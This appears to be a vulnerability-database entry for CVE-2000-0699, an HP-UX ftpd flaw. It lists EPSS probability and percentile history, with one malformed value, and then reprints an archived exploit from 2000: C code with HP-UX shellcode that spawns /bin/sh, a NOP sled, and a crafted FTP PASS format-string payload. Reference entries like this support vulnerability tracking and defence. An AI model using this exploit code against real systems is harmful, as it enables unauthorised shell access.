CVE-2000-0699 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	1.88%	–
2023-07-23	–	–	–	2.06%	–
2024-02-11	–	–	–	2.06%	–
2024-06-02	–	–	–	2.06%	–
2025-01-19	–	–	–	2.06%	–
2025-03-18	–	–	–	–	4.45%
2025-03-18	–	–	–	–	4.45,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	87%
2023-07-23	88%
2024-02-11	89%
2024-06-02	89%
2025-01-19	89%
2025-03-18	88%
2025-03-18	88%

/* theoretical exploit for hpux ftpd vulnerability */ /* not tested anywhere, needs tweaking */ /* (c) 2000 by babcia padlina ltd. <venglin@freebsd.lublin.pl> */ #include <stdio.h> #include <stdlib.h> #define NOPS 100 #define BUFSIZE 1024 char shellcode[] = /* HP-UX shellcode */ "\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01\xe4\x20\xe0\x08\x0b" "\x5a\x02\x9a\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41" "\x04\x02\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02" "\x98\x34\x16\x04\xbe\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34" "\xde\xad\xca\xfe\x2f\x62\x69\x6e\x2f\x73\x68"; char nop[] = "\x08\x21\x02\x80"; /* PA-RISC NOP */ unsigned long ret = 0xdeadbeef; int main(argc, argv) int argc; char **argv; { int stackofs; char buf[BUFSIZ*2]; int i; for (strcpy(buf, "PASS "),i=0;i<NOPS;i++) strcat(buf, nop); sprintf(buf+strlen(buf), "%s%%.%dd%c%c%c%c", shellcode, BUFSIZE-strlen(shellcode)-NOPS*4-4, ((int)ret & 0xff), (((int)ret & 0xff00) >> 8), (((int)ret & 0xff0000) >> 16), (((int)ret & 0xff000000) >> 24)); printf("USER ftp\r\n%s\r\n", buf); exit(0); } // milw0rm.com [2000-12-01]